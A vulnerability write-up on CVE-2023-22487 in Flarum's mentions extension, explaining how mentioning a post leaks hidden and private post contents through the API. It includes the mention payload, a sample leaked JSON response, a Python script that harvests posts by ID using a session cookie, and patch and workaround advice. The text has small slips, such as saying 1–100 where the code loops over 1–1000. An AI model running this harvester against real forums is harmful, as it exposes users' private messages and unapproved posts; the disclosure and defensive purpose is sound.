CVE-2023-22487 - Critical Information Leakage in Flarum Forums via Mentions
Flarum is a popular forum software that lets you build modern online communities. It offers many features for users to communicate, including a “Mentions” feature – so you can tag others or reference specific posts. But in January 2023, researchers discovered a serious vulnerability (CVE-2023-22487) in how Flarum handles post mentions. In this post, I'll explain how this happens, what information leaks, show a code example of how to exploit it, and how you can protect your forum.
What Is CVE-2023-22487?
CVE-2023-22487 impacts all Flarum versions before 1.6.3 if the flarum/mentions extension is enabled (which is very common). Using a specific mention syntax, any user who can create posts can reveal the content and metadata of posts they shouldn't have access to—including private messages, unapproved posts, and even posts from private tags or extensions like *Byobu*.
In Flarum, you can mention a post using the special syntax (for example)
@"johnny"#p123 // Mentions post #123 by user 'johnny'
Normally, this is a friendly way to point someone to another post. But the underlying logic has two big issues:
Leaking Post Information in HTML:
When you mention any post—even if you don't have permission to read it—Flarum inserts a link in your post HTML that reveals its discussion ID and post number.
Leaking Full Payload in API Responses:
When someone creates or edits a post (using POST /api/posts or PATCH /api/posts/<id>), the API response includes a mentionsPosts relationship. This contains the full JSON:API payload of all mentioned posts, with no access control. This includes:
The full content of the mentioned post (even if it's private or unapproved)
- Dates, author IDs, and attributes from other extensions (e.g., Byobu private discussions, moderator notes, etc.)
Exploit Requirements
* You only need to be able to create a new post (or edit an existing one).
* Works even if your posts require moderation before they're visible.
* You don’t need admin or moderator access.
* This technique can extract the contents of nearly all posts in the forum database.
Let’s break it down with an example.
Suppose you have an account on a Flarum forum. The forum has posts in private discussions, or posts that remain invisible to you (e.g., unapproved, or in restricted tags), but you have permission to create posts (even if new posts require approval).
Here's how you can abuse the mention feature to leak the contents of hidden posts.
Suppose you want to access post #999 (which you can’t see in the UI)
@"SomeUser"#p999
Insert this in a new post body and submit it (using the Flarum web UI, mobile app, or API).
Step 2: Observe API Response
Use browser dev tools (Network tab) or send requests directly with a client like curl/Postman. Observe the POST /api/posts response. You’ll find the following (example):
{
"data": {
"type": "posts",
"id": "105",
"attributes": {
...
},
"relationships": {
"mentionsPosts": {
"data": [
{
"type": "posts",
"id": "999"
}
]
}
}
},
"included": [
{
"type": "posts",
"id": "999",
"attributes": {
"number": 999,
"contentType": "comment",
"contentHtml": "<p>Private discussion content here</p>",
"createdAt": "2023-01-01T12:00:00Z",
"userId": 2,
// any additional extension attributes
},
"relationships": {
...
}
}
]
}
> Everything inside "included" is the full data for post 999—even if you weren’t allowed to see it on the site!
Step 3: Automate The Attack (Scan All Posts)
Attackers can automate this process to harvest the full database of forum posts.
Here’s a Python code snippet using requests to harvest posts 1–100
import requests
BASE_URL = "https://example-forum.com";
LOGIN_COOKIE = {"flarum_remember": "YOUR_SESSION_COOKIE"}
for post_id in range(1, 1001):
mention = f'@"dummy"#p{post_id}'
data = {
"data": {
"type": "posts",
"attributes": {
"content": mention,
"discussionId": 1 # use any discussion ID you can post to
}
}
}
response = requests.post(f"{BASE_URL}/api/posts", json=data, cookies=LOGIN_COOKIE)
if "included" in response.json():
for obj in response.json()["included"]:
if obj["type"] == "posts" and obj["id"] == str(post_id):
print(f"{post_id}: {obj['attributes']['contentHtml']}")
> Warning: Do not use this against any system you do not own or have explicit permission to test.
By iterating over all possible post IDs, the attacker can collect every post's content (including private and unapproved posts), reconstruct private discussions (using discussion IDs in the HTML payload), and even comb through moderator actions or extension-added post types.
Scope and Impact
- All Flarum forums prior to v1.6.3 with the flarum/mentions extension enabled are affected.
Unapproved or pending posts and discussions
#### This bug affects *every* post, regardless of access control, as long as you know or can guess the post ID.
Mitigation and Fix
Fixed Version:
- Flarum core v1.6.3 (and above) properly checks access control when including post data in API responses.
References
- Official Security Advisory
- GitHub Issue & Patch
- CVE-2023-22487 in the NVD
Upgrade: Update your Flarum core to v1.6.3 or later immediately.
- Workaround: If you cannot upgrade, disable the “Mentions” extension (flarum/mentions) via your admin panel.
Final Thoughts
CVE-2023-22487 is a prime example of how features meant for convenience and community building can accidentally introduce severe privacy and security leaks if access controls are not consistently checked at *every* layer (HTML, API, etc).
If you run a Flarum forum—especially one enabling private messages, staff tags, or extensions handling non-public posts—patching for this bug is critical.
Stay safe, and as always, keep your software up to date!
References
- Flarum Security Advisory
- Flarum Patch PR
- CVE-2023-22487 Details
- Flarum Mention Syntax Docs
Timeline
Published on: 01/11/2023 20:15:00 UTC
Last modified on: 01/19/2023 16:26:00 UTC